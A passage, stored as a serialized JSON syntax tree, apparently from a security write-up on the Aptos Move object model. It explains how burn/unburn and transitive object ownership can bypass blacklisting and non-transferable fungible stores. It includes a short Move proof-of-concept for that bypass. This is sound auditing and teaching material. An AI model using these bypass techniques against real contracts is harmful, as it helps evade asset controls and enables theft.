children":61600},{"class":483,"line":567},[61601,61605,61610,61614,61618,61622],{"type":23,"tag":481,"props":61602,"children":61603},{"style":497},[61604],{"type":28,"value":500},{"type":23,"tag":481,"props":61606,"children":61607},{"style":508},[61608],{"type":28,"value":61609}," object_addr",{"type":23,"tag":481,"props":61611,"children":61612},{"style":514},[61613],{"type":28,"value":517},{"type":23,"tag":481,"props":61615,"children":61616},{"style":508},[61617],{"type":28,"value":60022},{"type":23,"tag":481,"props":61619,"children":61620},{"style":514},[61621],{"type":28,"value":199},{"type":23,"tag":481,"props":61623,"children":61624},{"style":525},[61625],{"type":28,"value":61626},"inner;\n",{"type":23,"tag":481,"props":61628,"children":61629},{"class":483,"line":678},[61630,61634,61638,61642,61647,61651,61656,61660,61665,61669,61673],{"type":23,"tag":481,"props":61631,"children":61632},{"style":610},[61633],{"type":28,"value":60625},{"type":23,"tag":481,"props":61635,"children":61636},{"style":525},[61637],{"type":28,"value":618},{"type":23,"tag":481,"props":61639,"children":61640},{"style":514},[61641],{"type":28,"value":623},{"type":23,"tag":481,"props":61643,"children":61644},{"style":610},[61645],{"type":28,"value":61646},"create_signer",{"type":23,"tag":481,"props":61648,"children":61649},{"style":525},[61650],{"type":28,"value":618},{"type":23,"tag":481,"props":61652,"children":61653},{"style":508},[61654],{"type":28,"value":61655},"object_addr",{"type":23,"tag":481,"props":61657,"children":61658},{"style":525},[61659],{"type":28,"value":12666},{"type":23,"tag":481,"props":61661,"children":61662},{"style":943},[61663],{"type":28,"value":61664},"TombStone",{"type":23,"tag":481,"props":61666,"children":61667},{"style":525},[61668],{"type":28,"value":7069},{"type":23,"tag":481,"props":61670,"children":61671},{"style":508},[61672],{"type":28,"value":61580},{"type":23,"tag":481,"props":61674,"children":61675},{"style":525},[61676],{"type":28,"value":36353},{"type":23,"tag":481,"props":61678,"children":61679},{"class":483,"line":784},[61680,61685,61689,61693],{"type":23,"tag":481,"props":61681,"children":61682},{"style":610},[61683],{"type":28,"value":61684}," transfer_raw_inner",{"type":23,"tag":481,"props":61686,"children":61687},{"style":525},[61688],{"type":28,"value":618},{"type":23,"tag":481,"props":61690,"children":61691},{"style":508},[61692],{"type":28,"value":61655},{"type":23,"tag":481,"props":61694,"children":61695},{"style":525},[61696],{"type":28,"value":61697},", BURN_ADDRESS);\n",{"type":23,"tag":481,"props":61699,"children":61700},{"class":483,"line":812},[61701],{"type":23,"tag":481,"props":61702,"children":61703},{"style":525},[61704],{"type":28,"value":1443},{"type":23,"tag":24,"props":61706,"children":61707},{},[61708,61714,61716,61721,61722,61729,61731,61736],{"type":23,"tag":64,"props":61709,"children":61711},{"className":61710},[],[61712],{"type":28,"value":61713},"unburn",{"type":28,"value":61715}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":64,"props":61717,"children":61719},{"className":61718},[],[61720],{"type":28,"value":61400},{"type":28,"value":16026},{"type":23,"tag":190,"props":61723,"children":61726},{"href":61724,"rel":61725},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[194],[61727],{"type":28,"value":61728},"AIP-99",{"type":28,"value":61730}," is a proposal to roll back the ",{"type":23,"tag":64,"props":61732,"children":61734},{"className":61733},[],[61735],{"type":28,"value":61392},{"type":28,"value":61737}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":426,"props":61739,"children":61740},{},[61741],{"type":23,"tag":24,"props":61742,"children":61743},{},[61744,61746,61750],{"type":28,"value":61745},"This ",{"type":23,"tag":481,"props":61747,"children":61748},{},[61749],{"type":28,"value":61728},{"type":28,"value":61751}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":61753,"children":61754},{},[61755,61757,61763,61765,61770,61772,61777],{"type":28,"value":61756},"Another important thing is that ",{"type":23,"tag":64,"props":61758,"children":61760},{"className":61759},[],[61761],{"type":28,"value":61762},"fungible_asset::set_untransferable",{"type":28,"value":61764}," can be used to make all new ",{"type":23,"tag":64,"props":61766,"children":61768},{"className":61767},[],[61769],{"type":28,"value":60108},{"type":28,"value":61771}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":64,"props":61773,"children":61775},{"className":61774},[],[61776],{"type":28,"value":59604},{"type":28,"value":199},{"type":23,"tag":24,"props":61779,"children":61780},{},[61781,61783,61788,61790,61796,61798,61803,61805,61810],{"type":28,"value":61782},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":64,"props":61784,"children":61786},{"className":61785},[],[61787],{"type":28,"value":59604},{"type":28,"value":61789},", X can withdraw from that store. This is because ",{"type":23,"tag":64,"props":61791,"children":61793},{"className":61792},[],[61794],{"type":28,"value":61795},"fungible_asset::withdraw",{"type":28,"value":61797}," uses ",{"type":23,"tag":64,"props":61799,"children":61801},{"className":61800},[],[61802],{"type":28,"value":61122},{"type":28,"value":61804}," to verify both direct and indirect ownership of the ",{"type":23,"tag":64,"props":61806,"children":61808},{"className":61807},[],[61809],{"type":28,"value":59604},{"type":28,"value":47702},{"type":23,"tag":435,"props":61812,"children":61814},{"className":475,"code":61813,"language":474,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[61815],{"type":23,"tag":64,"props":61816,"children":61817},{"__ignoreMap":7},[61818,61879,61895,61925,61954,61969,61981,62011,62032,62039,62079,62104,62111],{"type":23,"tag":481,"props":61819,"children":61820},{"class":483,"line":484},[61821,61825,61830,61834,61838,61842,61846,61850,61855,61859,61863,61867,61871,61875],{"type":23,"tag":481,"props":61822,"children":61823},{"style":508},[61824],{"type":28,"value":4585},{"type":23,"tag":481,"props":61826,"children":61827},{"style":610},[61828],{"type":28,"value":61829}," verify_ungated_and_descendant",{"type":23,"tag":481,"props":61831,"children":61832},{"style":525},[61833],{"type":28,"value":618},{"type":23,"tag":481,"props":61835,"children":61836},{"style":508},[61837],{"type":28,"value":13099},{"type":23,"tag":481,"props":61839,"children":61840},{"style":514},[61841],{"type":28,"value":287},{"type":23,"tag":481,"props":61843,"children":61844},{"style":508},[61845],{"type":28,"value":3727},{"type":23,"tag":481,"props":61847,"children":61848},{"style":525},[61849],{"type":28,"value":588},{"type":23,"tag":481,"props":61851,"children":61852},{"style":508},[61853],{"type":28,"value":61854},"destination",{"type":23,"tag":481,"props":61856,"children":61857},{"style":514},[61858],{"type":28,"value":287},{"type":23,"tag":481,"props":61860,"children":61861},{"style":508},[61862],{"type":28,"value":3727},{"type":23,"tag":481,"props":61864,"children":61865},{"style":525},[61866],{"type":28,"value":598},{"type":23,"tag":481,"props":61868,"children":61869},{"style":508},[61870],{"type":28,"value":3821},{"type":23,"tag":481,"props":61872,"children":61873},{"style":943},[61874],{"type":28,"value":61502},{"type":23,"tag":481,"props":61876,"children":61877},{"style":525},[61878],{"type":28,"value":809},{"type":23,"tag":481,"props":61880,"children":61881},{"class":483,"line":351},[61882,61887,61891],{"type":23,"tag":481,"props":61883,"children":61884},{"style":525},[61885],{"type":28,"value":61886}," [",{"type":23,"tag":481,"props":61888,"children":61889},{"style":514},[61890],{"type":28,"value":7074},{"type":23,"tag":481,"props":61892,"children":61893},{"style":525},[61894],{"type":28,"value":9259},{"type":23,"tag":481,"props":61896,"children":61897},{"class":483,"line":531},[61898,61903,61907,61911,61916,61921],{"type":23,"tag":481,"props":61899,"children":61900},{"style":535},[61901],{"type":28,"value":61902}," while",{"type":23,"tag":481,"props":61904,"children":61905},{"style":525},[61906],{"type":28,"value":578},{"type":23,"tag":481,"props":61908,"children":61909},{"style":508},[61910],{"type":28,"value":13099},{"type":23,"tag":481,"props":61912,"children":61913},{"style":514},[61914],{"type":28,"value":61915}," !=",{"type":23,"tag":481,"props":61917,"children":61918},{"style":508},[61919],{"type":28,"value":61920}," current_address",{"type":23,"tag":481,"props":61922,"children":61923},{"style":525},[61924],{"type":28,"value":12292},{"type":23,"tag":481,"props":61926,"children":61927},{"class":483,"line":567},[61928,61933,61937,61942,61946,61950],{"type":23,"tag":481,"props":61929,"children":61930},{"style":508},[61931],{"type":28,"value":61932}," count",{"type":23,"tag":481,"props":61934,"children":61935},{"style":514},[61936],{"type":28,"value":517},{"type":23,"tag":481,"props":61938,"children":61939},{"style":508},[61940],{"type":28,"value":61941}," count",{"type":23,"tag":481,"props":61943,"children":61944},{"style":514},[61945],{"type":28,"value":6385},{"type":23,"tag":481,"props":61947,"children":61948},{"style":551},[61949],{"type":28,"value":2072},{"type":23,"tag":481,"props":61951,"children":61952},{"style":525},[61953],{"type":28,"value":528},{"type":23,"tag":481,"props":61955,"children":61956},{"class":483,"line":678},[61957,61961,61965],{"type":23,"tag":481,"props":61958,"children":61959},{"style":525},[61960],{"type":28,"value":61886},{"type":23,"tag":481,"props":61962,"children":61963},{"style":514},[61964],{"type":28,"value":7074},{"type":23,"tag":481,"props":61966,"children":61967},{"style":525},[61968],{"type":28,"value":9259},{"type":23,"tag":481,"props":61970,"children":61971},{"class":483,"line":784},[61972,61977],{"type":23,"tag":481,"props":61973,"children":61974},{"style":610},[61975],{"type":28,"value":61976}," assert!",{"type":23,"tag":481,"props":61978,"children":61979},{"style":525},[61980],{"type":28,"value":988},{"type":23,"tag":481,"props":61982,"children":61983},{"class":483,"line":812},[61984,61989,61993,61998,62002,62007],{"type":23,"tag":481,"props":61985,"children":61986},{"style":508},[61987],{"type":28,"value":61988}," exists",{"type":23,"tag":481,"props":61990,"children":61991},{"style":525},[61992],{"type":28,"value":3282},{"type":23,"tag":481,"props":61994,"children":61995},{"style":943},[61996],{"type":28,"value":61997},"ObjectCore",{"type":23,"tag":481,"props":61999,"children":62000},{"style":525},[62001],{"type":28,"value":5089},{"type":23,"tag":481,"props":62003,"children":62004},{"style":508},[62005],{"type":28,"value":62006},"current_address",{"type":23,"tag":481,"props":62008,"children":62009},{"style":525},[62010],{"type":28,"value":4214},{"type":23,"tag":481,"props":62012,"children":62013},{"class":483,"line":825},[62014,62019,62023,62027],{"type":23,"tag":481,"props":62015,"children":62016},{"style":525},[62017],{"type":28,"value":62018}," error",{"type":23,"tag":481,"props":62020,"children":62021},{"style":514},[62022],{"type":28,"value":1006},{"type":23,"tag":481,"props":62024,"children":62025},{"style":610},[62026],{"type":28,"value":61347},{"type":23,"tag":481,"props":62028,"children":62029},{"style":525},[62030],{"type":28,"value":62031},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":481,"props":62033,"children":62034},{"class":483,"line":843},[62035],{"type":23,"tag":481,"props":62036,"children":62037},{"style":525},[62038],{"type":28,"value":5222},{"type":23,"tag":481,"props":62040,"children":62041},{"class":483,"line":864},[62042,62046,62050,62054,62059,62063,62067,62071,62075],{"type":23,"tag":481,"props":62043,"children":62044},{"style":497},[62045],{"type":28,"value":573},{"type":23,"tag":481,"props":62047,"children":62048},{"style":508},[62049],{"type":28,"value":60022},{"type":23,"tag":481,"props":62051,"children":62052},{"style":514},[62053],{"type":28,"value":517},{"type":23,"tag":481,"props":62055,"children":62056},{"style":508},[62057],{"type":28,"value":62058}," borrow_global",{"type":23,"tag":481,"props":62060,"children":62061},{"style":525},[62062],{"type":28,"value":3282},{"type":23,"tag":481,"props":62064,"children":62065},{"style":943},[62066],{"type":28,"value":61997},{"type":23,"tag":481,"props":62068,"children":62069},{"style":525},[62070],{"type":28,"value":5089},{"type":23,"tag":481,"props":62072,"children":62073},{"style":508},[62074],{"type":28,"value":62006},{"type":23,"tag":481,"props":62076,"children":62077},{"style":525},[62078],{"type":28,"value":1366},{"type":23,"tag":481,"props":62080,"children":62081},{"class":483,"line":873},[62082,62087,62091,62095,62099],{"type":23,"tag":481,"props":62083,"children":62084},{"style":508},[62085],{"type":28,"value":62086}," current_address",{"type":23,"tag":481,"props":62088,"children":62089},{"style":514},[62090],{"type":28,"value":517},{"type":23,"tag":481,"props":62092,"children":62093},{"style":508},[62094],{"type":28,"value":60022},{"type":23,"tag":481,"props":62096,"children":62097},{"style":514},[62098],{"type":28,"value":199},{"type":23,"tag":481,"props":62100,"children":62101},{"style":525},[62102],{"type":28,"value":62103},"owner;\n",{"type":23,"tag":481,"props":62105,"children":62106},{"class":483,"line":1125},[62107],{"type":23,"tag":481,"props":62108,"children":62109},{"style":525},[62110],{"type":28,"value":36515},{"type":23,"tag":481,"props":62112,"children":62113},{"class":483,"line":1142},[62114],{"type":23,"tag":481,"props":62115,"children":62116},{"style":525},[62117],{"type":28,"value":1443},{"type":23,"tag":24,"props":62119,"children":62120},{},[62121,62123,62128],{"type":28,"value":62122},"This could allow for bypassing assumptions about ",{"type":23,"tag":64,"props":62124,"children":62126},{"className":62125},[],[62127],{"type":28,"value":59604},{"type":28,"value":62129}," true ownership and its non-transferability.",{"type":23,"tag":435,"props":62131,"children":62133},{"className":475,"code":62132,"language":474,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[62134],{"type":23,"tag":64,"props":62135,"children":62136},{"__ignoreMap":7},[62137,62195,62248,62292,62340,62347,62392,62400],{"type":23,"tag":481,"props":62138,"children":62139},{"class":483,"line":484},[62140,62144,62148,62153,62157,62162,62166,62170,62174,62178,62183,62187,62191],{"type":23,"tag":481,"props":62141,"children":62142},{"style":508},[62143],{"type":28,"value":59203},{"type":23,"tag":481,"props":62145,"children":62146},{"style":508},[62147],{"type":28,"value":3684},{"type":23,"tag":481,"props":62149,"children":62150},{"style":610},[62151],{"type":28,"value":62152}," untransferable_transfer",{"type":23,"tag":481,"props":62154,"children":62155},{"style":525},[62156],{"type":28,"value":618},{"type":23,"tag":481,"props":62158,"children":62159},{"style":508},[62160],{"type":28,"value":62161},"caller",{"type":23,"tag":481,"props":62163,"children":62164},{"style":514},[62165],{"type":28,"value":287},{"type":23,"tag":481,"props":62167,"children":62168},{"style":514},[62169],{"type":28,"value":4619},{"type":23,"tag":481,"props":62171,"children":62172},{"style":508},[62173],{"type":28,"value":4624},{"type":23,"tag":481,"props":62175,"children":62176},{"style":525},[62177],{"type":28,"value":588},{"type":23,"tag":481,"props":62179,"children":62180},{"style":508},[62181],{"type":28,"value":62182},"receipient",{"type":23,"tag":481,"props":62184,"children":62185},{"style":514},[62186],{"type":28,"value":287},{"type":23,"tag":481,"props":62188,"children":62189},{"style":508},[62190],{"type":28,"value":3727},{"type":23,"tag":481,"props":62192,"children":62193},{"style":525},[62194],{"type":28,"value":12292},{"type":23,"tag":481,"props":62196,"children":62197},{"class":483,"line":351},[62198,62202,62207,62211,62215,62219,62224,62228,62232,62236,62240,62244],{"type":23,"tag":481,"props":62199,"children":62200},{"style":497},[62201],{"type":28,"value":500},{"type":23,"tag":481,"props":62203,"children":62204},{"style":508},[62205],{"type":28,"value":62206}," constructor_ref",{"type":23,"tag":481,"props":62208,"children":62209},{"style":514},[62210],{"type":28,"value":517},{"type":23,"tag":481,"props":62212,"children":62213},{"style":525},[62214],{"type":28,"value":60022},{"type":23,"tag":481,"props":62216,"children":62217},{"style":514},[62218],{"type":28,"value":1006},{"type":23,"tag":481,"props":62220,"children":62221},{"style":610},[62222],{"type":28,"value":62223},"create_object",{"type":23,"tag":481,"props":62225,"children":62226},{"style":525},[62227],{"type":28,"value":4678},{"type":23,"tag":481,"props":62229,"children":62230},{"style":514},[62231],{"type":28,"value":1006},{"type":23,"tag":481,"props":62233,"children":62234},{"style":610},[62235],{"type":28,"value":4687},{"type":23,"tag":481,"props":62237,"children":62238},{"style":525},[62239],{"type":28,"value":618},{"type":23,"tag":481,"props":62241,"children":62242},{"style":508},[62243],{"type":28,"value":62161},{"type":23,"tag":481,"props":62245,"children":62246},{"style":525},[62247],{"type":28,"value":4701},{"type":23,"tag":481,"props":62249,"children":62250},{"class":483,"line":531},[62251,62255,62259,62263,62267,62271,62276,62280,62284,62288],{"type":23,"tag":481,"props":62252,"children":62253},{"style":497},[62254],{"type":28,"value":500},{"type":23,"tag":481,"props":62256,"children":62257},{"style":508},[62258],{"type":28,"value":61609},{"type":23,"tag":481,"props":62260,"children":62261},{"style":514},[62262],{"type":28,"value":517},{"type":23,"tag":481,"props":62264,"children":62265},{"style":525},[62266],{"type":28,"value":60022},{"type":23,"tag":481,"props":62268,"children":62269},{"style":514},[62270],{"type":28,"value":1006},{"type":23,"tag":481,"props":62272,"children":62273},{"style":610},[62274],{"type":28,"value":62275},"address_from_constructor_ref",{"type":23,"tag":481,"props":62277,"children":62278},{"style":525},[62279],{"type":28,"value":618},{"type":23,"tag":481,"props":62281,"children":62282},{"style":514},[62283],{"type":28,"value":623},{"type":23,"tag":481,"props":62285,"children":62286},{"style":508},[62287],{"type":28,"value":60456},{"type":23,"tag":481,"props":62289,"children":62290},{"style":525},[62291],{"type":28,"value":1366},{"type":23,"tag":481,"props":62293,"children":62294},{"class":483,"line":567},[62295,62299,62303,62307,62312,62316,62320,62324,62328,62332,62336],{"type":23,"tag":481,"props":62296,"children":62297},{"style":497},[62298],{"type":28,"value":500},{"type":23,"tag":481,"props":62300,"children":62301},{"style":508},[62302],{"type":28,"value":3307},{"type":23,"tag":481,"props":62304,"children":62305},{"style":514},[62306],{"type":28,"value":517},{"type":23,"tag":481,"props":62308,"children":62309},{"style":525},[62310],{"type":28,"value":62311}," primary_fungible_store",{"type":23,"tag":481,"props":62313,"children":62314},{"style":514},[62315],{"type":28,"value":1006},{"type":23,"tag":481,"props":62317,"children":62318},{"style":610},[62319],{"type":28,"value":60348},{"type":23,"tag":481,"props":62321,"children":62322},{"style":525},[62323],{"type":28,"value":618},{"type":23,"tag":481,"props":62325,"children":62326},{"style":508},[62327],{"type":28,"value":61655},{"type":23,"tag":481,"props":62329,"children":62330},{"style":525},[62331],{"type":28,"value":588},{"type":23,"tag":481,"props":62333,"children":62334},{"style":610},[62335],{"type":28,"value":60304},{"type":23,"tag":481,"props":62337,"children":62338},{"style":525},[62339],{"type":28,"value":12914},{"type":23,"tag":481,"props":62341,"children":62342},{"class":483,"line":678},[62343],{"type":23,"tag":481,"props":62344,"children":62345},{"emptyLinePlaceholder":15},[62346],{"type":28,"value":1210},{"type":23,"tag":481,"props":62348,"children":62349},{"class":483,"line":784},[62350,62355,62359,62364,62368,62372,62376,62380,62384,62388],{"type":23,"tag":481,"props":62351,"children":62352},{"style":525},[62353],{"type":28,"value":62354}," object",{"type":23,"tag":481,"props":62356,"children":62357},{"style":514},[62358],{"type":28,"value":1006},{"type":23,"tag":481,"props":62360,"children":62361},{"style":610},[62362],{"type":28,"value":62363},"transfer_raw",{"type":23,"tag":481,"props":62365,"children":62366},{"style":525},[62367],{"type":28,"value":618},{"type":23,"tag":481,"props":62369,"children":62370},{"style":508},[62371],{"type":28,"value":62161},{"type":23,"tag":481,"props":62373,"children":62374},{"style":525},[62375],{"type":28,"value":588},{"type":23,"tag":481,"props":62377,"children":62378},{"style":508},[62379],{"type":28,"value":61655},{"type":23,"tag":481,"props":62381,"children":62382},{"style":525},[62383],{"type":28,"value":588},{"type":23,"tag":481,"props":62385,"children":62386},{"style":508},[62387],{"type":28,"value":62182},{"type":23,"tag":481,"props":62389,"children":62390},{"style":525},[62391],{"type":28,"value":1366},{"type":23,"tag":481,"props":62393,"children":62394},{"class":483,"line":812},[62395],{"type":23,"tag":481,"props":62396,"children":62397},{"style":488},[62398],{"type":28,"value":62399}," //receipient can interact with store by using their signer\n",{"type":23,"tag":481,"props":62401,"children":62402},{"class":483,"line":825},[62403],{"type":23,"tag":481,"props":62404,"children":62405},{"style":525},[62406],{"type":28,"value":1443},{"type":23,"tag":24,"props":62408,"children":62409},{},[62410,62412,62419],{"type":28,"value":62411},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":190,"props":62413,"children":62416},{"href":62414,"rel":62415},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[194],[62417],{"type":28,"value":62418},"edge case",{"type":28,"value":62420}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":435,"props":62422,"children":62424},{"className":475,"code":62423,"language":474,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[62425],{"type":23,"tag":64,"props":62426,"children":62427},{"__ignoreMap":7},[62428,62493,62554,62601,62612,62647,62667,62674,62681,62696,62703,62731],{"type":23,"tag":481,"props":62429,"children":62430},{"class":483,"line":484},[62431,62435,62439,62444,62448,62452,62456,62461,62465,62469,62473,62477,62481,62485,62489],{"type":23,"tag":481,"props":62432,"children":62433},{"style":508},[62434],{"type":28,"value":59203},{"type":23,"tag":481,"props":62436,"children":62437},{"style":508},[62438],{"type":28,"value":3684},{"type":23,"tag":481,"props":62440,"children":62441},{"style":610},[62442],{"type":28,"value":62443}," transfer_with_ref",{"type":23,"tag":481,"props":62445,"children":62446},{"style":525},[62447],{"type":28,"value":618},{"type":23,"tag":481,"props":62449,"children":62450},{"style":497},[62451],{"type":28,"value":60865},{"type":23,"tag":481,"props":62453,"children":62454},{"style":514},[62455],{"type":28,"value":287},{"type":23,"tag":481,"props":62457,"children":62458},{"style":943},[62459],{"type":28,"value":62460}," LinearTransferRef",{"type":23,"tag":481,"props":62462,"children":62463},{"style":525},[62464],{"type":28,"value":588},{"type":23,"tag":481,"props":62466,"children":62467},{"style":508},[62468],{"type":28,"value":30243},{"type":23,"tag":481,"props":62470,"children":62471},{"style":514},[62472],{"type":28,"value":287},{"type":23,"tag":481,"props":62474,"children":62475},{"style":508},[62476],{"type":28,"value":3727},{"type":23,"tag":481,"props":62478,"children":62479},{"style":525},[62480],{"type":28,"value":598},{"type":23,"tag":481,"props":62482,"children":62483},{"style":508},[62484],{"type":28,"value":3821},{"type":23,"tag":481,"props":62486,"children":62487},{"style":943},[62488],{"type":28,"value":61502},{"type":23,"tag":481,"props":62490,"children":62491},{"style":525},[62492],{"type":28,"value":809},{"type":23,"tag":481,"props":62494,"children":62495},{"class":483,"line":351},[62496,62500,62504,62508,62512,62516,62521,62525,62529,62533,62537,62541,62545,62549],{"type":23,"tag":481,"props":62497,"children":62498},{"style":610},[62499],{"type":28,"value":59872},{"type":23,"tag":481,"props":62501,"children":62502},{"style":525},[62503],{"type":28,"value":618},{"type":23,"tag":481,"props":62505,"children":62506},{"style":514},[62507],{"type":28,"value":18119},{"type":23,"tag":481,"props":62509,"children":62510},{"style":508},[62511],{"type":28,"value":4182},{"type":23,"tag":481,"props":62513,"children":62514},{"style":525},[62515],{"type":28,"value":3282},{"type":23,"tag":481,"props":62517,"children":62518},{"style":943},[62519],{"type":28,"value":62520},"Untransferable",{"type":23,"tag":481,"props":62522,"children":62523},{"style":525},[62524],{"type":28,"value":5089},{"type":23,"tag":481,"props":62526,"children":62527},{"style":497},[62528],{"type":28,"value":60865},{"type":23,"tag":481,"props":62530,"children":62531},{"style":514},[62532],{"type":28,"value":199},{"type":23,"tag":481,"props":62534,"children":62535},{"style":497},[62536],{"type":28,"value":11201},{"type":23,"tag":481,"props":62538,"children":62539},{"style":525},[62540],{"type":28,"value":60461},{"type":23,"tag":481,"props":62542,"children":62543},{"style":514},[62544],{"type":28,"value":1006},{"type":23,"tag":481,"props":62546,"children":62547},{"style":610},[62548],{"type":28,"value":61347},{"type":23,"tag":481,"props":62550,"children":62551},{"style":525},[62552],{"type":28,"value":62553},"(ENOT_MOVABLE));\n",{"type":23,"tag":481,"props":62555,"children":62556},{"class":483,"line":531},[62557,62561,62565,62569,62573,62577,62581,62585,62589,62593,62597],{"type":23,"tag":481,"props":62558,"children":62559},{"style":497},[62560],{"type":28,"value":500},{"type":23,"tag":481,"props":62562,"children":62563},{"style":508},[62564],{"type":28,"value":60022},{"type":23,"tag":481,"props":62566,"children":62567},{"style":514},[62568],{"type":28,"value":517},{"type":23,"tag":481,"props":62570,"children":62571},{"style":508},[62572],{"type":28,"value":5075},{"type":23,"tag":481,"props":62574,"children":62575},{"style":525},[62576],{"type":28,"value":3282},{"type":23,"tag":481,"props":62578,"children":62579},{"style":943},[62580],{"type":28,"value":61997},{"type":23,"tag":481,"props":62582,"children":62583},{"style":525},[62584],{"type":28,"value":5089},{"type":23,"tag":481,"props":62586,"children":62587},{"style":497},[62588],{"type":28,"value":60865},{"type":23,"tag":481,"props":62590,"children":62591},{"style":514},[62592],{"type":28,"value":199},{"type":23,"tag":481,"props":62594,"children":62595},{"style":497},[62596],{"type":28,"value":11201},{"type":23,"tag":481,"props":62598,"children":62599},{"style":525},[62600],{"type":28,"value":1366},{"type":23,"tag":481,"props":62602,"children":62603},{"class":483,"line":567},[62604,62608],{"type":23,"tag":481,"props":62605,"children":62606},{"style":610},[62607],{"type":28,"value":59872},{"type":23,"tag":481,"props":62609,"children":62610},{"style":525},[62611],{"type":28,"value":988},{"type":23,"tag":481,"props":62613,"children":62614},{"class":483,"line":678},[62615,62620,62624,62629,62633,62638,62642],{"type":23,"tag":481,"props":62616,"children":62617},{"style":508},[62618],{"type":28,"value":62619}," object",{"type":23,"tag":481,"props":62621,"children":62622},{"style":514},[62623],{"type":28,"value":199},{"type":23,"tag":481,"props":62625,"children":62626},{"style":525},[62627],{"type":28,"value":62628},"owner ",{"type":23,"tag":481,"props":62630,"children":62631},{"style":514},[62632],{"type":28,"value":6055},{"type":23,"tag":481,"props":62634,"children":62635},{"style":497},[62636],{"type":28,"value":62637}," ref",{"type":23,"tag":481,"props":62639,"children":62640},{"style":514},[62641],{"type":28,"value":199},{"type":23,"tag":481,"props":62643,"children":62644},{"style":525},[62645],{"type":28,"value":62646},"owner,\n",{"type":23,"tag":481,"props":62648,"children":62649},{"class":483,"line":784},[62650,62655,62659,62663],{"type":23,"tag":481,"props":62651,"children":62652},{"style":525},[62653],{"type":28,"value":62654}," error",{"type":23,"tag":481,"props":62656,"children":62657},{"style":514},[62658],{"type":28,"value":1006},{"type":23,"tag":481,"props":62660,"children":62661},{"style":610},[62662],{"type":28,"value":61347},{"type":23,"tag":481,"props":62664,"children":62665},{"style":525},[62666],{"type":28,"value":62031},{"type":23,"tag":481,"props":62668,"children":62669},{"class":483,"line":812},[62670],{"type":23,"tag":481,"props":62671,"children":62672},{"style":525},[62673],{"type":28,"value":41178},{"type":23,"tag":481,"props":62675,"children":62676},{"class":483,"line":825},[62677],{"type":23,"tag":481,"props":62678,"children":62679},{"style":525},[62680],{"type":28,"value":59314},{"type":23,"tag":481,"props":62682,"children":62683},{"class":483,"line":843},[62684,62688,62692],{"type":23,"tag":481,"props":62685,"children":62686},{"style":525},[62687],{"type":28,"value":60246},{"type":23,"tag":481,"props":62689,"children":62690},{"style":514},[62691],{"type":28,"value":7074},{"type":23,"tag":481,"props":62693,"children":62694},{"style":525},[62695],{"type":28,"value":9259},{"type":23,"tag":481,"props":62697,"children":62698},{"class":483,"line":864},[62699],{"type":23,"tag":481,"props":62700,"children":62701},{"style":525},[62702],{"type":28,"value":59314},{"type":23,"tag":481,"props":62704,"children":62705},{"class":483,"line":873},[62706,62710,62714,62718,62722,62727],{"type":23,"tag":481,"props":62707,"children":62708},{"style":508},[62709],{"type":28,"value":62354},{"type":23,"tag":481,"props":62711,"children":62712},{"style":514},[62713],{"type":28,"value":199},{"type":23,"tag":481,"props":62715,"children":62716},{"style":525},[62717],{"type":28,"value":62628},{"type":23,"tag":481,"props":62719,"children":62720},{"style":514},[62721],{"type":28,"value":603},{"type":23,"tag":481,"props":62723,"children":62724},{"style":508},[62725],{"type":28,"value":62726}," to",{"type":23,"tag":481,"props":62728,"children":62729},{"style":525},[62730],{"type":28,"value":528},{"type":23,"tag":481,"props":62732,"children":62733},{"class":483,"line":1125},[62734],{"type":23,"tag":481,"props":62735,"children":62736},{"style":525},[62737],{"type":28,"value":1443},{"type":23,"tag":24,"props":62739,"children":62740},{},[62741,62743,62748,62750,62755],{"type":28,"value":62742},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":64,"props":62744,"children":62746},{"className":62745},[],[62747],{"type":28,"value":61400},{"type":28,"value":62749},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":64,"props":62751,"children":62753},{"className":62752},[],[62754],{"type":28,"value":4624},{"type":28,"value":62756}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":7092,"props":62758,"children":62760},{"id":62759},"references",[62761],{"type":28,"value":62762},"References",{"type":23,"tag":24,"props":62764,"children":62765},{},[62766,62771,62773,62779,62781,62786,62788,62793],{"type":23,"tag":64,"props":62767,"children":62769},{"className":62768},[],[62770],{"type":28,"value":62762},{"type":28,"value":62772}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":64,"props":62774,"children":62776},{"className":62775},[],[62777],{"type":28,"value":62778},"Refs",{"type":28,"value":62780}," are based on the 